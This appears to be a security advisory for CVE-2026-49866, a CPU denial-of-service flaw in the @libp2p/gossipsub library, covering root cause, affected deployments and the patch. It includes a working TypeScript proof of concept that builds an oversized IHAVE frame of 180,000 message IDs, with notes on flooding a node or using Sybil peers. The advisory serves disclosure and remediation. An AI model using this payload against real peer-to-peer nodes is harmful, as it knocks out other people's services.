CVE-2026-49866: @libp2p/gossipsub CPU DoS via Oversized IHAVE and IWANT Control Messages
Any node running @libp2p/gossipsub with default settings can be forced to burn its entire CPU on a single malicious peer's oversized control messages, because the library placed no limit on how many m
The problem
gossipsub processes IHAVE and IWANT control messages by iterating every received message ID synchronously before doing anything with the result. The default decode limits had every relevant field set to `Infinity`, so a single 4 MB LP frame can carry roughly 180,000 message IDs and block the Node.js event loop for around 135ms per call.
For IHAVE, a per-peer heartbeat counter eventually kicks in, but only after one full iteration per peer per heartbeat. Ten Sybil peers each sending one oversized frame produces around 1,500ms of synchronous work against a 1,000ms heartbeat interval. For IWANT there is no rate limit at all, so a single connection streaming 4 MB frames continuously can hold the event loop above 80% utilisation indefinitely.
Affected deployments include Lodestar, IPFS nodes with pubsub enabled, and anything calling `createLibp2p({ services: { pubsub: gossipsub() } })`.
Proof of concept
A working proof-of-concept for CVE-2026-49866 in @libp2p/gossipsub, with the exact payload below.
// Derived from the published PoC (gossipsub.ts handleIHave / handleIWant path)
// Craft a single RPC containing one ControlIHave with 180,000 random 20-byte IDs.
// This fits inside the default 4 MB LP frame limit and is decoded with no cap.
import { RPC } from '@libp2p/gossipsub/message/rpc'
const TOPIC = 'attack-topic'
const MSG_IDS_PER_IHAVE = 180_000
// Generate 180,000 random 20-byte message IDs
const messageIDs = Array.from({ length: MSG_IDS_PER_IHAVE }, () => {
const id = new Uint8Array(20)
crypto.getRandomValues(id)
return id
})
// Encode as a valid gossipsub RPC with a single oversized ControlIHave entry
const rpc = RPC.encode({
subscriptions: [],
messages: [],
control: {
ihave: [{ topicID: TOPIC, messageIDs }],
iwant: [],
graft: [],
prune: [],
idontwant: []
}
})
// rpc.byteLength is <= 4 MB (fits in one LP frame)
// Stream this frame to the victim repeatedly for IWANT variant (no rate limit at all)
// Use 10 Sybil peers each sending one frame per heartbeat for IHAVE variant
console.log(`Frame size: ${(rpc.byteLength / 1024 / 1024).toFixed(2)} MB`)
console.log('defaultDecodeRpcLimits.maxIhaveMessageIDs was Infinity -- no decode-level cap')The root cause is CWE-1284 (Improper Validation of Specified Quantity in Input) combined with CWE-400 (Uncontrolled Resource Consumption). In `message/decodeRpc.ts`, every limit in `defaultDecodeRpcLimits` was set to `Infinity`, so the protobuf decoder materialised all 180,000 IDs into memory and the subsequent `forEach` loop in `handleIHave` and `handleIWant` iterated every one of them synchronously before any counter or cap was consulted.
Because Node.js is single-threaded, that loop holds the event loop exclusively for the duration.
The patch (commit 773dd80, PR #3520) changed the defaults in `decodeRpc.ts` to finite values: `maxIhaveMessageIDs: 5_000` and `maxIwantMessageIDs: 5_000`, matching the existing `GossipsubMaxIHaveLength` constant. This means the protobuf decoder now rejects oversized arrays before they ever reach the iteration loop, bounding the per-frame CPU cost to the same ceiling as the response cap.
The fix
Upgrade `@libp2p/gossipsub` to version 16.0.0 (commit 773dd80, PR #3520). That release sets finite defaults in `decodeRpc.ts`: `maxIhaveMessageIDs: 5_000`, `maxIwantMessageIDs: 5_000`, `maxIdontwantMessageIDs: 5_000`, `maxSubscriptions: 128`, `maxMessages: 256`, `maxControlMessages: 128`, `maxPeerInfos: 16`.
Nodes that cannot upgrade immediately can pass an explicit `decodeRpcLimits` object with finite values to the `gossipsub()` factory as a workaround.
Related research
- critical · 9.6CVE-2026-53513CVE-2026-53513: @better-auth/sso SSRF via Unvalidated OIDC Endpoints
- high · 7.5CVE-2026-49293CVE-2026-49293: js-toml CPU Exhaustion via Quadratic BigInt Parsing
- high · 7.5CVE-2026-49476CVE-2026-49476: soupsieve Memory Exhaustion via Unbounded Selector List
- high · 7.7CVE-2026-53514CVE-2026-53514: better-auth Organization Invitation Takeover via Unverified Email Pre-Registration